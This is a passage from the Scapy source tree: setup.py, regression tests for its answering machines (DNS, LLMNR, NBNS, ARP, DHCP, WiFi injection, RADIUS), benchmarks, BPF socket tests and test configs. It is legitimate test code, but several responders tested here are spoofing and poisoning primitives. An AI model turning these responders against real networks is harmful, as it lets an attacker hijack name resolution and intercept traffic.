self.n: ret.append("n=%r" % self.n) return ", ".join(ret) def _fix(self): # type: () -> bytes return corrupt_bytes(self.s, self.p, self.n) class CorruptedBits(CorruptedBytes): def _fix(self): # type: () -> bytes return corrupt_bits(self.s, self.p, self.n) ================================================ FILE: setup.py ================================================ #! /usr/bin/env python """ Setuptools setup file for Scapy. """ import io import os import sys if sys.version_info[0] <= 2: raise OSError("Scapy no longer supports Python 2 ! Please use Scapy 2.5.0") try: import setuptools from setuptools import setup from setuptools.command.sdist import sdist from setuptools.command.build_py import build_py except: raise ImportError("setuptools is required to install scapy !") def get_long_description(): """ Extract description from README.md, for PyPI's usage """ def process_ignore_tags(buffer): return "\n".join( x for x in buffer.split("\n") if "" not in x ) try: fpath = os.path.join(os.path.dirname(__file__), "README.md") with io.open(fpath, encoding="utf-8") as f: readme = f.read() desc = readme.partition("")[2] desc = desc.partition("")[0] return process_ignore_tags(desc.strip()) except IOError: return None # Note: why do we bother including a 'scapy/VERSION' file and doing our # own versioning stuff, instead of using more standard methods? # Because it's all garbage. # If you remain fully standard, there's no way # of adding the version dynamically, even less when using archives # (currently, we're able to add the version anytime someone exports Scapy # on github). # If you use setuptools_scm, you'll be able to have the git tag set into # the wheel (therefore the metadata), that you can then retrieve using # importlib.metadata, BUT it breaks sdist (source packages), as those # don't include metadata. def _build_version(path): """ This adds the scapy/VERSION file when creating a sdist and a wheel """ fn = os.path.join(path, 'scapy', 'VERSION') with open(fn, 'w') as f: f.write(__import__('scapy').VERSION) class SDist(sdist): """ Modified sdist to create scapy/VERSION file """ def make_release_tree(self, base_dir, *args, **kwargs): super(SDist, self).make_release_tree(base_dir, *args, **kwargs) # ensure there's a scapy/VERSION file _build_version(base_dir) class BuildPy(build_py): """ Modified build_py to create scapy/VERSION file """ def build_package_data(self): super(BuildPy, self).build_package_data() # ensure there's a scapy/VERSION file _build_version(self.build_lib) # Patch so that for setuptools < 77 understands the 'license' version required # by modern setuptools. See https://github.com/secdev/scapy/issues/4849. # This allow us to keep support for Python 3.7 try: major = int(setuptools.__version__.split(".")[0]) if major < 77: # We replace setuptools.dist.pyprojecttoml.apply_configuration with goo from setuptools.config.pyprojecttoml import read_configuration, _apply def _patched_apply_configuration(dist, filepath, *_): # 1. We force ignore option errors regarding 'license' config = read_configuration(filepath, True, ignore_option_errors=True, dist=dist) # 2. We replace the license with the one it expected if isinstance(config["project"]["license"], str): config["project"]["license"] = {'text': config["project"]["license"]} return _apply(dist, config, filepath) setuptools.dist.pyprojecttoml.apply_configuration = _patched_apply_configuration except Exception: pass setup( cmdclass={'sdist': SDist, 'build_py': BuildPy}, data_files=[('share/man/man1', ["doc/scapy.1"])], long_description=get_long_description(), long_description_content_type='text/markdown', ) ================================================ FILE: test/__init__.py ================================================ ================================================ FILE: test/answering_machines.uts ================================================ % Regression tests for Scapy Answering Machines # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Answering Machines = Generic answering machine mocker from unittest import mock @mock.patch("scapy.ansmachine.sniff") def test_am(cls_name, packet_query, check_reply, mock_sniff, **kargs): packet_query = packet_query.__class__(bytes(packet_query)) def sniff(*args,**kargs): kargs["prn"](packet_query) mock_sniff.side_effect = sniff am = cls_name(**kargs) called = [False] def _sndrpl(x): called[0] = True check_reply(x.__class__(bytes(x))) am.send_reply = _sndrpl am() assert called[0], "Filter never passed for AnsweringMachine !" = BOOT_am def check_BOOTP_am_reply(packet): assert BOOTP in packet and packet[BOOTP].op == 2 assert packet[BOOTP].yiaddr == "192.168.1.128" and packet[BOOTP].giaddr == "192.168.1.1" test_am(BOOTP_am, Ether()/IP()/UDP()/BOOTP(op=1), check_BOOTP_am_reply) = DHCP_am def check_DHCP_am_reply(packet): assert DHCP in packet and len(packet[DHCP].options) assert ("domain", b"localnet") in packet[DHCP].options assert ('name_server', '192.168.1.1') in packet[DHCP].options def check_ns_DHCP_am_reply(packet): assert DHCP in packet and len(packet[DHCP].options) assert ("domain", b"localnet") in packet[DHCP].options assert ('name_server', '1.1.1.1', '2.2.2.2') in packet[DHCP].options test_am(DHCP_am, Ether()/IP()/UDP()/BOOTP(op=1)/DHCP(options=[('message-type', 'request')]), check_DHCP_am_reply, domain="localnet") test_am(DHCP_am, Ether()/IP()/UDP()/BOOTP(op=1)/DHCP(options=[('message-type', 'request')]), check_ns_DHCP_am_reply, domain="localnet", nameserver=["1.1.1.1", "2.2.2.2"]) = ARP_am def check_ARP_am_reply(packet): assert ARP in packet and packet[ARP].psrc == "10.28.7.1" assert packet[ARP].hwsrc == "00:01:02:03:04:05" test_am(ARP_am, Ether()/ARP(pdst="10.28.7.1"), check_ARP_am_reply, IP_addr="10.28.7.1", ARP_addr="00:01:02:03:04:05") = ICMPEcho_am def check_ICMP_am_reply(packet): packet.show() assert packet[Ether].src != "ff:ff:ff:ff:ff:ff" assert packet[Ether].dst == "aa:aa:aa:aa:aa:aa" assert IP in packet and ICMP in packet assert packet[IP].dst == "1.1.1.1" assert packet[IP].src == "2.2.2.2" assert packet[ICMP].seq == 12 test_am(ICMPEcho_am, Ether(src="aa:aa:aa:aa:aa:aa", dst="ff:ff:ff:ff:ff:ff")/IP(src="1.1.1.1", dst="2.2.2.2")/ICMP(seq=12), check_ICMP_am_reply) = DNS_am def check_DNS_am_reply(packet): assert packet[Ether].src == "bb:bb:bb:bb:bb:bb" assert packet[Ether].dst == "aa:aa:aa:aa:aa:aa" assert packet[IP].src == "127.0.0.2" assert packet[IP].dst == "127.0.0.1" assert DNS in packet and packet[DNS].ancount == 1 assert packet[DNS].an[0].rdata == "192.168.1.1" assert packet[DNS].qd[0].qname == b"www.secdev.org." test_am(DNS_am, Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="127.0.0.1", dst="127.0.0.2")/UDP()/DNS(qd=DNSQR(qname="www.secdev.org")), check_DNS_am_reply, joker="192.168.1.1") def check_DNS_am_reply_srvmatch(packet): assert DNS in packet and packet[DNS].ancount == 1 assert isinstance(packet[DNS].an[0], DNSRRSRV) assert packet[DNS].an[0].rrname == b'_ldap._tcp.dc._msdcs.scapy.fr.' assert packet[DNS].an[0].port == 389 assert packet[DNS].an[0].target == b'dc.scapy.fr.' test_am(DNS_am, Ether()/IP()/UDP()/DNS(qd=DNSQR(qname=b'_ldap._tcp.dc._msdcs.scapy.fr.', qtype="SRV")), check_DNS_am_reply_srvmatch, srvmatch={"_ldap._tcp.dc._msdcs.scapy.fr": (389, "dc.scapy.fr")}) def check_DNS_am_reply_arpa(packet): assert DNS in packet and packet[DNS].ancount == 1 assert packet[DNS].an[0].rdata == b"scapy." assert packet[DNS].an[0].rrname == b"1.0.16.172.in-addr.arpa." test_am(DNS_am, Ether()/IP()/UDP()/DNS(qd=DNSQR(qname=b"1.0.16.172.in-addr.arpa.", qtype="PTR")), check_DNS_am_reply_arpa, jokerarpa="scapy") def check_DNS_am_reply2(packet): assert DNS in packet and packet[DNS].ancount == 2 assert packet[DNS].an[0].rdata == "128.0.0.1" assert packet[DNS].an[1].rdata == "::1" test_am(DNS_am, Ether()/IP(b'E\x00\x00H\x00\x01\x00\x00@\x11|\xa2\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x004\xe8\x9a\x00\x00\x01\x00\x00\x02\x00\x00\x00\x00\x00\x00\x06gaagle\x03com\x00\x00\x01\x00\x01\x06google\x03com\x00\x00\x1c\x00\x01'), check_DNS_am_reply2, match={"google.com": ("127.0.0.1", "::1"), "gaagle.com": "128.0.0.1"}, joker=False) assert DNS_am().make_reply(Ether()) is None assert DNS_am().make_reply(Ether()/IP()) is None assert DNS_am().make_reply(Ether()/IP()/UDP()) is None assert DNS_am().make_reply( Ether()/IP()/UDP()/DNS(b'q\xa04\x00\x00\xa0\x01\x00\xf3\x00\x01\x04\x01y') ) is None = LLMNR_am def check_LLMNR_am_am_reply(packet): # assert packet[Ether].src == get_if_hwaddr(conf.iface) assert packet[Ether].dst == "aa:aa:aa:aa:aa:aa" # assert packet[IP].src == get_if_addr(conf.iface) assert packet[IP].dst == "192.168.0.1" assert packet[UDP].dport == 51938 assert packet[UDP].sport == 5355 assert LLMNRResponse in packet and packet[LLMNRResponse].ancount == 1 and packet[LLMNRResponse].qdcount == 1 assert packet[LLMNRResponse].qd[0].qname == b"TEST." assert packet[LLMNRResponse].an[0].rdata == "192.168.1.1" assert packet[LLMNRResponse].an[0].rrname == b"TEST." assert packet[LLMNRResponse].an[0].ttl == 60 test_am(LLMNR_am, Ether(src="aa:aa:aa:aa:aa:aa", dst="01:00:5e:00:00:fc")/IP(src="192.168.0.1", dst="224.0.0.252")/UDP(dport=5355, sport=51938)/LLMNRQuery(qd=DNSQR(qname=b"TEST.", qtype="A")), check_LLMNR_am_am_reply, ttl=60, match={"TEST": "192.168.1.1"}) = mDNS_am def check_mDNS_am_reply(packet): packet.show() # assert packet[Ether].src == get_if_hwaddr(conf.iface) assert packet[Ether].dst == "01:00:5e:00:00:fb" # assert packet[IP].src == get_if_addr(conf.iface) assert packet[IP].dst == "224.0.0.251" assert packet[IP].ttl == 255 assert packet[UDP].dport == 5353 assert packet[UDP].sport == 5353 assert DNS in packet and packet[DNS].ancount == 1 and packet[DNS].qdcount == 0 assert packet[DNS].an[0].rdata == "192.168.1.1" assert packet[DNS].an[0].rrname == b"TEST.local." assert packet[DNS].an[0].ttl == 10 test_am(mDNS_am, Ether(src="aa:aa:aa:aa:aa:aa", dst="01:00:5e:00:00:fb")/IP(src="192.168.0.1", dst="224.0.0.251", ttl=1)/UDP(dport=5353, sport=5353)/DNS(qd=DNSQR(qname=b"TEST.local.", qtype="A")), check_mDNS_am_reply, joker="192.168.1.1") def check_mDNS_am_reply2(packet): # $ avahi-resolve -n bonjour.local packet.show() # assert packet[Ether].src == get_if_hwaddr(conf.iface) assert packet[Ether].dst == "01:00:5e:00:00:fb" # assert packet[IP].src == get_if_addr(conf.iface) assert packet[IP].dst == "224.0.0.251" assert packet[IP].ttl == 255 assert packet[UDP].dport == 5353 assert packet[UDP].sport == 5353 assert DNS in packet and packet[DNS].ancount == 2 and packet[DNS].qdcount == 0 assert packet[DNS].an[0].rdata == "192.168.1.1" assert packet[DNS].an[0].rrname == b"bonjour.local." assert packet[DNS].an[0].ttl == 120 assert packet[DNS].an[1].type == 47 assert packet[DNS].an[1].rrname == b"bonjour.local." assert packet[DNS].an[1].ttl == 120 test_am(mDNS_am, Ether(b'\x01\x00^\x00\x00\xfb\xaa\xaa\xaa\xaa\xaa\xaa\x08\x00E\x00\x00A\xce}@\x00\xff\x11\x0b\x89\xc0\xa8\x00\x01\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x00-\xdbl\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x07bonjour\x05local\x00\x00\x01\x00\x01\xc0\x0c\x00\x1c\x00\x01'), check_mDNS_am_reply2, joker="192.168.1.1", ttl=120) = DHCPv6_am - Basic Instantiaion ~ osx netaccess a = DHCPv6_am() a.usage() a.parse_options(dns="2001:500::1035", domain="localdomain, local", duid=None, iface=conf.iface, advpref=255, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsdomains=None, bcmcsservers=None, debug=1) = DHCPv6_am - SOLICIT ~ osx netaccess req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=1)/DHCP6OptClientId(duid=DUID_LLT()) assert a.is_request(req) res = a.make_reply(req) assert not a.is_request(res) assert res[DHCP6_Advertise] assert res[DHCP6OptPref].prefval == 255 assert res[DHCP6OptReconfAccept] a.print_reply(req, res) = DHCPv6_am - INFO-REQUEST ~ osx netaccess req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=11)/DHCP6OptClientId(duid=DUID_LLT()) assert a.is_request(req) res = a.make_reply(req) assert not a.is_request(res) assert res[DHCP6_Reply] assert "local" in res[DHCP6OptDNSDomains].dnsdomains a.print_reply(req, res) = DHCPv6_am - REQUEST ~ osx netaccess req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=3)/DHCP6OptClientId(duid=DUID_LLT())/DHCP6OptServerId(duid=a.duid) assert a.is_request(req) res = a.make_reply(req) assert not a.is_request(res) assert res[UDP].dport == 546 assert res[DHCP6_Reply] a.print_reply(req, res) = WiFi_am from unittest import mock @mock.patch("scapy.layers.dot11.sniff") def test_WiFi_am(packet_query, check_reply, mock_sniff, **kargs): def sniff(*args,**kargs): kargs["prn"](packet_query) mock_sniff.side_effect = sniff am = WiFi_am(**kargs) am.send_reply = check_reply am() def check_WiFi_am_reply(packet): assert isinstance(packet, list) and len(packet) == 2 assert TCP in packet[0] and Raw in packet[0] and raw(packet[0][Raw]) == b"5c4pY" test_WiFi_am(Dot11(FCfield="to_DS")/IP()/TCP()/"Scapy", check_WiFi_am_reply, iffrom="scapy0", ifto="scapy1", replace="5c4pY", pattern="Scapy") = NBNS_am def check_NBNS_am_reply(name): def check(packet): packet.show() assert packet[Ether].src != "ff:ff:ff:ff:ff:ff" assert packet[Ether].dst == "aa:aa:aa:aa:aa:aa" assert NBNSQueryResponse in packet and packet[NBNSQueryResponse].RR_NAME == name return check for server_name in (None, "", b"test", "test"): test_am(NBNS_am, Ether(src="aa:aa:aa:aa:aa:aa", dst="ff:ff:ff:ff:ff:ff")/IP()/UDP()/NBNSHeader()/NBNSQueryRequest(QUESTION_NAME="test"), check_NBNS_am_reply(b"test"), server_name=server_name) test_am(NBNS_am, Ether(src="aa:aa:aa:aa:aa:aa", dst="ff:ff:ff:ff:ff:ff")/IP()/UDP()/NBNSHeader()/NBNSQueryRequest(QUESTION_NAME=b"\x85"), check_NBNS_am_reply(b"\x85"), server_name=b"\x85") = LdapPing_am def check_LdapPing_am_reply(packet): nlogon = packet[CLDAP].protocolOp.attributes[0] assert nlogon.type == b"Netlogon" logonresp = NETLOGON(nlogon.values[0].value.val) assert isinstance(logonresp, NETLOGON_SAM_LOGON_RESPONSE_EX) logonresp.show() assert logonresp.DnsForestName == b'scapy.fr.', "DnsForestName" assert logonresp.DnsDomainName == b'scapy.fr.', "DnsDomainName" assert logonresp.DnsHostName == b'DC.scapy.fr.', "DnsHostName" assert logonresp.NetbiosDomainName == b'SCAPY.', "NetbiosDomainName" assert logonresp.NetbiosComputerName == b'DC.', "NetbiosComputerName" assert logonresp.NtVersion == 3, "NtVersion" assert logonresp.Flags == 0x3f3fd, "Flags" assert logonresp.ClientSiteName == b'Default-First-Site-Name.', "ClientSiteName" test_am(LdapPing_am, Ether(b'\xaa\xaa\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xbb\xbb\x08\x00E\x00\x00\xaf\x9d\xb1\x00\x00\x80\x11\x9c\x89\xac\x13P\x01\xac\x13W\xdb\xc7{\x01\x85\x00\x9bV[0q\x02\x01\x01cl\x04\x00\n\x01\x00\n\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\xa0M\xa3\x15\x04\tDnsDomain\x04\x08scapy.fr\xa3\x0e\x04\x04Host\x04\x06HOST01\xa3\r\x04\x05NtVer\x04\x04\x16\x00\x00 \xa3\x15\x04\x0bDnsHostName\x04\x06HOST010\n\x04\x08Netlogon'), check_LdapPing_am_reply, NetbiosComputerName="DC", NetbiosDomainName="SCAPY", DnsForestName="scapy.fr") def check_NBNS_LdapPing_am_reply(packet): packet.show() assert SMBMailslot_Write in packet, "SMBMailslot_Write" assert packet[SMBMailslot_Write].Name == b'\\MAILSLOT\\NET\\GETDC510CC0AD', "SMBMailslot_Write.Name" logonresp = NETLOGON(packet[SMBMailslot_Write].Data.load) logonresp.show() assert logonresp.DcSockAddrSize == 16, "DcSockAddrSize" assert isinstance(logonresp.DcSockAddr, DcSockAddr) assert logonresp.DcSockAddr.sin_family == 2, "sin_family" assert logonresp.DcSockAddr.sin_port == 0, "sin_port" assert logonresp.DcSockAddr.sin_zero == 0, "sin_zero" assert logonresp.DcSockAddr.sin_addr == get_if_addr(conf.iface) assert logonresp.DnsForestName == b'scapy.fr.', "DnsForestName" assert logonresp.DnsDomainName == b'scapy.fr.', "DnsDomainName" assert logonresp.DnsHostName == b'DC.scapy.fr.', "DnsHostName" assert logonresp.NetbiosDomainName == b'SCAPY.', "NetbiosDomainName" assert logonresp.NetbiosComputerName == b'DC.', "NetbiosComputerName" assert logonresp.NtVersion == 13, "NtVersion" assert logonresp.Flags == 0x3f3fd, "Flags" assert logonresp.ClientSiteName == b'Default-First-Site-Name.', "ClientSiteName" test_am(LdapPing_am, Ether(b'\xaa\xaa\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xbb\xbb\x08\x00E\x00\x01\n\xff\x82\x00\x00\x80\x11:]\xac\x13P\x01\xac\x13W\xdb\x00\x8a\x00\x8a\x00\xf6\xd5\xcb\x10\x02\xde\x9d\xac\x13P\x01\x00\x8a\x00\xe0\x00\x00 EIEPFDFEDADBCACACACACACACACACAAA\x00 FDEDEBFAFJCACACACACACACACACACABM\x00\xffSMB%\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x11\x00\x00@\x00\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\\\x00@\x00\\\x00\x03\x00\x01\x00\x00\x00\x02\x00W\x00\\MAILSLOT\\NET\\NETLOGON\x00\x12\x00\x00\x00H\x00O\x00S\x00T\x000\x001\x00\x00\x00\x00\x00\\MAILSLOT\\NET\\GETDC510CC0AD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00 \xff\xff\xff\xff'), check_NBNS_LdapPing_am_reply, NetbiosComputerName="DC", NetbiosDomainName="SCAPY", DnsForestName="scapy.fr") + Radius_am ~ crypto = Radius_am PAP - Test Access-Success def check_radius_pap_reply_success(x): x.show() assert x[Radius].code == 2 assert len(x.attributes) == 1 assert isinstance(x.attributes[0], RadiusAttr_Message_Authenticator) assert x.attributes[0].value == bytes.fromhex("75c0da1e492f6f51771a7a49b9136a6d") assert x.authenticator == bytes.fromhex("3dd94c06bc90accfab8168437821ded4") test_am( Radius_am, Ether(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00Z\x00\x8e\x00\x00@\x11|\x03\x7f\x00\x00\x01\x7f\x00\x00\x01\x9f<\x07\x14\x00F\xfeY\x01\xfb\x00>s0\x00\x13\x86x\xd7\x11\xc4\x9e\xe1=\xce&r\x15\xa7J\x8an+\xe2\x8a\xe9Lx\xa0h\x0e\r\xbaP\x12%\x87Sg;\xab\x93\x95\xb5o\x925\xc7h\x88\x01\x01\x06user\x02\x12\x99\xbc\x970\x847\x95L\x86JeD\xf8\xea\x87\x00'), check_radius_pap_reply_fail, secret="SECRET", IDENTITIES={"user": "password"} ) = Radius_am MS-CHAP2 - Test Access-Success def check_radius_mschap2_reply_success(x): x.show() assert x[Radius].code == 2 assert len(x.attributes) == 2 assert isinstance(x.attributes[0], RadiusAttr_Message_Authenticator) assert x.attributes[0].value == bytes.fromhex("5ab34c3b0554fb14f2d5bf7f521914eb") assert x.authenticator == bytes.fromhex("c40000ef60fb3c413e2112afb3c7c7d5") assert isinstance(x.attributes[1], RadiusAttr_Vendor_Specific) chap2_success = x.attributes[1].value assert isinstance(chap2_success, MS_CHAP2_Success) assert chap2_success.String == b'S=46317A3248777BF4D9FAFF4BF4034DC996B740D9' assert bytes(x[Radius]) == b'\x02\x01\x00Y\xc4\x00\x00\xef`\xfb!\x12\xaf\xb3\xc7\xc7\xd5P\x12Z\xb3L;\x05T\xfb\x14\xf2\xd5\xbf\x7fR\x19\x14\xeb\x1a3\x00\x00\x017\x1a-\x00S=46317A3248777BF4D9FAFF4BF4034DC996B740D9' test_am( Radius_am, Ether(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\xado\x90@\x00@\x11\xcc\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\xe1\xea\x07\x14\x00\x99\xfe\xac\x01\x01\x00\x91\xe3\x99\x1b\xec\x1e\x82\x8a\xfcb\xf6\xbf\x824\x13\xc8\x1d\x04\x06\x7f\x00\x01\x01 \x07mynas\x01\x06user\x06\x06\x00\x00\x00\x01\x1a\x18\x00\x00\x017\x0b\x12(\xa0\x18u\x0c\x13\x8c~@\xb71\xa1\xe9\xfd\x1e\xdc\x1a:\x00\x00\x017\x194\x00\x00\xe2\x1fY\xd4O8\x8b\xc6\xf3\x07\xd6\xe5?:3!\x00\x00\x00\x00\x00\x00\x00\x00g-\xd8%\x03\x04\xed\xa7\xc6O\x83"\xdc\xe2\x07\xaa\xf8\x15\xed\xc3~\x08GHP\x12/)\xa2\t\x9dA8\xf9>\xa7V\xba\xf6\xf0LG'), check_radius_mschap2_reply_success, secret="SECRET", IDENTITIES={"user": "password"} ) = Radius_am MS-CHAP2 - Test Access-Reject def check_radius_mschap2_reply_fail(x): x.show() assert x[Radius].code == 3 assert len(x.attributes) == 2 assert isinstance(x.attributes[0], RadiusAttr_Message_Authenticator) assert x.attributes[0].value == bytes.fromhex("df430d94a4992ca0d38acf02a1fa94f0") assert x.authenticator == bytes.fromhex("e0d5cf468ffdf714ed4a40aea1a5715f") assert isinstance(x.attributes[1], RadiusAttr_Vendor_Specific) chap2_error = x.attributes[1].value assert isinstance(chap2_error, MS_CHAP_Error) assert chap2_error.String == b'E=691 R=0 V=3' assert bytes(x[Radius]) == b'\x03\x01\x00<\xe0\xd5\xcfF\x8f\xfd\xf7\x14\xedJ@\xae\xa1\xa5q_P\x12\xdfC\r\x94\xa4\x99,\xa0\xd3\x8a\xcf\x02\xa1\xfa\x94\xf0\x1a\x16\x00\x00\x017\x02\x10\x00E=691 R=0 V=3' test_am( Radius_am, Ether(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\xad\xca\xd1@\x00@\x11ql\x7f\x00\x00\x01\x7f\x00\x00\x01\xe9\x1b\x07\x14\x00\x99\xfe\xac\x01\x01\x00\x91\xc0{%t\xdd\x8eQC\xda\x861\x11\xf9\xd0\xb2j\x04\x06\x7f\x00\x01\x01 \x07mynas\x01\x06user\x06\x06\x00\x00\x00\x01\x1a\x18\x00\x00\x017\x0b\x12\xd8\x07\xbf\x15N\xfb\x9a;\x0f\xd8\x14\x7f\xae\xe2\xe3e\x1a:\x00\x00\x017\x194\x00\x00\x8e\x8d\xe0\x81\x15]8\xb5j\x7f`\x14\xe0f]\xa6\x00\x00\x00\x00\x00\x00\x00\x00\x88\x07\xfb\xf9\x08H\xb5\x81\x87\xdc\x02\x90\x04\xb0\xaf\x11\x0c\x9a\rwQ\xd4\xcaiP\x12\x85\xfeMzd\xaf\x00\xaa\x12\xe2\x910\xea\xea\xb6\xf3'), check_radius_mschap2_reply_fail, secret="SECRET", IDENTITIES={"user": "password"} ) ================================================ FILE: test/benchmark/common.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Guillaume Valadon import os import sys scapy_path = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) sys.path.append(scapy_path) from scapy.all import * print("Scapy %s - Benchmarks" % VERSION) print("Python %s" % sys.version.replace("\n", "")) ================================================ FILE: test/benchmark/dissection_and_build.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Guillaume Valadon from common import * import time N = 10000 raw_packet = b'E\x00\x00(\x00\x01\x00\x00@\x11|\xc2\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x14\x00Z\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' start = time.time() for i in range(N): p = IP(dst="127.0.0.1", src="127.0.0.1") / UDP() / DNS() assert raw(p) == raw_packet print("Build - %.2fs" % (time.time() - start)) start = time.time() for i in range(N): p = IP(raw_packet) assert DNS in p print("Dissect - %.2fs" % (time.time() - start)) start = time.time() for i in range(N): p = IP(dst="127.0.0.1", src="127.0.0.1") / UDP() / DNS() s = raw(p) assert s == raw_packet p = IP(s) assert DNS in p print("Build & dissect - %.2fs" % (time.time() - start)) ================================================ FILE: test/benchmark/latency_router.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter # https://github.com/secdev/scapy/issues/1791 from common import * # Router IP dest = conf.route.route("0.0.0.0")[2] send_tcp = True send_icmp = False pkts = [] for i in range(1,50): a = IP(dst=dest) / TCP(flags="S", seq=i, sport=65000, dport=55556) b = IP(dst=dest)/ICMP() if send_tcp: pkts.append(a) if send_icmp: pkts.append(b) ans, unans = sr(pkts, filter="host {0}".format(dest), inter=0, timeout=1, prebuild=True) print("scapy version: {}".format(conf.version)) average = 0 for pkt in ans: sent = pkt[0] received = pkt[1] res = (received.time - sent.sent_time) average += res print("%s %s : %s" % (received.time, sent.sent_time, res)) print("AVERAGE RESPONSE TIME: %ss" % (average / len(ans))) ================================================ FILE: test/bpf.uts ================================================ % Regression tests for Scapy BPF mode # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Addresses manipulation functions = Get the packet IPv4 address configured on conf.iface get_if_raw_addr(conf.iface) = Get the MAC address of conf.iface get_if_hwaddr(conf.iface) = Get the MAC address of conf.loopback_name get_if_hwaddr(conf.loopback_name) == "00:00:00:00:00:00" ############ ############ + BPF related functions = Imports from scapy.arch.bpf.supersocket import L3bpfSocket, L2bpfListenSocket, L2bpfSocket = Get a BPF handler ~ needs_root from scapy.arch.bpf.supersocket import get_dev_bpf fd, _ = get_dev_bpf() = Attach a BPF filter ~ needs_root libpcap from scapy.arch.bpf.supersocket import attach_filter attach_filter(fd, "arp or icmp", conf.iface) = Get network interfaces list iflist = get_if_list() len(iflist) > 0 = Misc functions ~ needs_root from scapy.arch.bpf.supersocket import bpf_select l = bpf_select([L2bpfSocket()]) l = bpf_select([L2bpfSocket(), sys.stdin.fileno()]) ############ ############ + BPF sockets = L2bpfListenSocket - initialization variants ~ needs_root L2bpfListenSocket() L2bpfListenSocket(iface=conf.iface) L2bpfListenSocket(promisc=True) L2bpfListenSocket(filter="icmp") L2bpfListenSocket(iface=conf.iface, promisc=True, filter="icmp") = L2bpfListenSocket - set_*() ~ needs_root s = L2bpfListenSocket() s.set_promisc(0) s.set_nonblock(1) s.set_promisc(0) s.close() s = L2bpfListenSocket() s.set_nonblock(set_flag=False) s.set_nonblock(set_flag=True) s.set_nonblock(set_flag=False) s.close() = L2bpfListenSocket - get_*() ~ needs_root s = L2bpfListenSocket() blen = s.get_blen() blen > 0 and type(blen) == int s.close() s = L2bpfListenSocket() stats = s.get_stats() len(stats) == 2 and type(stats) == tuple s.close() = L2bpfListenSocket - other methods ~ needs_root s = L2bpfListenSocket() type(s.fileno()) == int s.close() s = L2bpfListenSocket() guessed = s.guess_cls() issubclass(guessed, Packet) s.close() = L2bpfListenSocket - read failure ~ needs_root from unittest import mock @mock.patch("scapy.arch.bpf.supersocket.os.read") def _test_osread(osread): osread.side_effect = OSError() s = L2bpfListenSocket() assert s.recv_raw() == (None, None, None) _test_osread() = L2bpfSocket - nonblock_recv() ~ needs_root s = L2bpfSocket() s.nonblock_recv() s.close() = L*bpfSocket - send() ~ needs_root s = L2bpfSocket() s.send(Ether()/IP(dst="8.8.8.8")/ICMP()) s = L3bpfSocket() s.send(IP(dst="8.8.8.8")/ICMP()) s = L3bpfSocket() s.assigned_interface = conf.loopback_name s.send(IP(dst="8.8.8.8")/ICMP()) = L3bpfSocket - send and sniff on loopback ~ needs_root localhost_ip = conf.ifaces[conf.loopback_name].ips[4][0] def cb(): # Send a ping to the loopback IP. s = L3bpfSocket(iface=conf.loopback_name) s.send(IP(dst=localhost_ip)/ICMP(seq=1001)) t = AsyncSniffer(iface=conf.loopback_name, started_callback=cb) t.start() time.sleep(1) t.stop() t.join(timeout=1) # We expect to see our packet and kernel's response. len(t.results.filter(lambda p: ( IP in p and ICMP in p and (p[IP].src == localhost_ip or p[IP].dst == localhost_ip) and p[ICMP].seq == 1001))) == 2 ================================================ FILE: test/configs/README.md ================================================ ### UTscapy configs - OS specifics: bsd, linux, solaris, windows - Other: - cryptography -> used for downstream testing by pyca/cryptography ================================================ FILE: test/configs/bsd.utsc ================================================ { "testfiles": [ "test/*.uts", "test/scapy/layers/*.uts", "test/scapy/layers/tls/*.uts", "test/scapy/layers/msrpce/*.uts", "test/contrib/automotive/*.uts", "test/contrib/automotive/obd/*.uts", "test/contrib/automotive/scanner/*.uts", "test/contrib/automotive/gm/*.uts", "test/contrib/automotive/bmw/*.uts", "test/contrib/automotive/xcp/*.uts", "test/contrib/automotive/autosar/*.uts", "test/contrib/*.uts" ], "remove_testfiles": [ "test/linux.uts", "test/windows.uts", "test/contrib/automotive/ecu_am.uts", "test/contrib/automotive/gm/gmlanutils.uts", "test/contrib/isotp_packet.uts", "test/contrib/isotpscan.uts", "test/contrib/isotp_soft_socket.uts" ], "onlyfailed": true, "extensions": ["scapy-rpc"], "preexec": { "test/contrib/*.uts": "load_contrib(\"%name%\")", "test/cert.uts": "load_layer(\"tls\")", "test/sslv2.uts": "load_layer(\"tls\")", "test/scapy/layers/tls/*.uts": "load_layer(\"tls\")" }, "kw_ko": [ "linux", "windows", "ipv6", "vcan_socket", "tun", "tap" ] } ================================================ FILE: test/configs/cryptography.utsc ================================================ { "testfiles": [ "test/contrib/macsec.uts", "test/scapy/layers/dot11.uts", "test/scapy/layers/ipsec.uts", "test/scapy/layers/kerberos.uts", "test/scapy/layers/ntlm.uts", "test/scapy/layers/msrpce/msnrpc.uts", "test/scapy/layers/tls/cert.uts", 